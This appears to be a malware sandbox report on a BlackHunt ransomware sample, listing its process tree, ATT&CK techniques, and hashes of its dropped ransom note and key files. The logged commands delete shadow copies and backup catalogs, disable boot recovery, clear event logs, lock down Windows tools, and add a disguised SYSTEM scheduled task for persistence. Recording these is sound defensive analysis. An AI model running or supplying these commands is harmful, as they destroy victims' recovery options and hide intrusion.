- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe" /F
  2⤵
  PID:2948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1612
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2544
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1860
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1624
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2016
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1500
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2352
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2252
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1168
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2368
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2352
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2448
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2928
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1936
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2452
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2232
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2816
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1260
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:208
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2968
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1600
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2896
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1676
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1692
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe"
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2672

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2660

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2524

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
70aff5f5b3bf822f2c174a2656580b7a

SHA1
19440e63a418abb4c1c9482827f4aae88ef527ba

SHA256
4cff03082380c33aa5e1f47ee00d22f0ec342627e853ae82243ee8587b3b772b

SHA512
ccc0890459df668895f4f553c9bee3c7166d6db45b78671fd20c01c28e9100256564356c5819bc5fc1170c787572dcf1aeac532aabf32906c853770e609d7b75

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
4e386b3a377975d55f788ccb45cb7ad2

SHA1
cdb5758586679c51cb03afac3bb67c8d43328f82

SHA256
dc7068728983abbdbe73f1806af0d987270572c19032e8ff10b9f048f6dea678

SHA512
ca4089b5bcb9ef7a109f4cc28af080fa14791234fe3cb377d8e8263e17206e790c056e871692fef810452574c52a5584b5b7804d1ab395ff225c6b2fd1226e28

Download Submit
\Device\HarddiskVolume1\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
8c62aeb32f572cd64c81916938100b7c

SHA1
35ed5d0cab9ea84ed2fa8385f0e1958045f125aa

SHA256
b422a7256622718f1ac094557ea983f4e7864eb1541ba9f7ea8bf76b9ef3d82b

SHA512
070b9162aea16e6c87ba17e3ea628fb733c47420471be373a4a028a075d2d2c6a53d2ae01b275d908f013ce54a4db9e0ff37a5a0e147230495fd4c004861b75c

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads